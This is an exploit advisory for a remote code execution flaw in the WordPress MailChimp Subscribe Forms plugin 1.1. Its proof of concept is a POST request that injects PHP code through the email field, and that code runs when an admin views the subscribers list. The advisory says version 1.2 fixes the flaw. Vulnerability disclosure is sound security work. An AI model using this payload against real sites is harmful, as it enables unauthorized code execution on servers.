WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution

2015.05.27

Credit: woodspeed

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: Wordpress MailChimp Subscribe Forms Remote Code Execution
# Date: 21-04-2015
# Exploit Author: woodspeed
# Vendor Homepage: https://wordpress.org/plugins/mailchimp-subscribe-sm/
# Software Link: https://downloads.wordpress.org/plugin/mailchimp-subscribe-sm.1.1.zip
# Version: 1.1
# Tested on: Apache 2.2.22, PHP 5.3.10
# OSVDB ID : http://www.osvdb.org/show/osvdb/121081
# WPVULNDB ID : https://wpvulndb.com/vulnerabilities/7935
# Category: webapps

1. Description

Remote Code Execution via email field.

2. Proof of Concept

POST Request

sm_email=<?php echo 'Current PHP version: '. phpversion();?>&submit=

When the admin user checks the subscibers list, the php code is executed.

3. Solution

Fixed in version 1.2

See this note in RAW Version

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{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

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WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution

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